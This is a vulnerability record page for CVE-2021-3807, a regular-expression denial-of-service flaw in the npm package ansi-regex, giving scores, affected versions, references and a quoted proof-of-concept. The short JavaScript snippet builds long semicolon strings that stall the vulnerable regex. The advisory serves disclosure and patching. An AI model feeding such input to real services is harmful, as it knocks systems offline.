CVE-2021-3807
JSON

7.5high

Inefficient Regular Expression Complexity in chalk/ansi-regex

Severity
7.5high CVSS:3.0 by @huntrdev
Exploit likelihood
3.55% (higher than 89% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
@huntrdev
Also known as
GHSA-93q8-gq69-wqmw

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity

Affected

Product or packageVersionsReported by
chalk chalk/ansi-regexfrom unspecified before 6.0.1, from unspecified before 5.0.1
Not affected: 5.0.1
CVE List
ansi-regex (npm)from 6.0.0 before 6.0.1, from 5.0.0 before 5.0.1, from 4.0.0 before 4.1.1, from 3.0.0 before 3.0.1GitHub Advisory Database
ansi-regex_project ansi-regexfrom 4.0.0 before 4.1.1, 3.0.0, 5.0.0, 6.0.0NVD
oracle communications_cloud_native_core_policy1.15.0NVD

All scores

@huntrdev7.5high CVSS:3.0CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD7.8high CVSS:2.0AV:N/AC:L/Au:N/C:N/I:N/A:C

Classification

CWE-697CWE-1333

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

ansi-regex is vulnerable to Inefficient Regular Expression Complexity

GitHub Advisory Database

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

NVD (es)

ansi-regex es vulnerable a una Complejidad de Expresiones Regulares Ineficientes

References

https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994exploit, issue-tracking, patch, third-party-advisory, web
https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9patch, third-party-advisory, web
https://www.oracle.com/security-alerts/cpuapr2022.htmlpatch, third-party-advisory, web
https://security.netapp.com/advisory/ntap-20221014-0002/third-party-advisory
https://nvd.nist.gov/vuln/detail/CVE-2021-3807advisory
https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311web
https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774web
https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1web
https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9aweb
https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8web
https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908web
https://github.com/chalk/ansi-regexpackage

Sources

SourceRecordLicence
CVE ListCVE-2021-3807 changed 2026-10-08CVE Terms of Use
GitHub Advisory DatabaseGHSA-93q8-gq69-wqmw changed 2026-09-10CC-BY-4.0
NVDCVE-2021-3807 changed 2026-10-08Public domain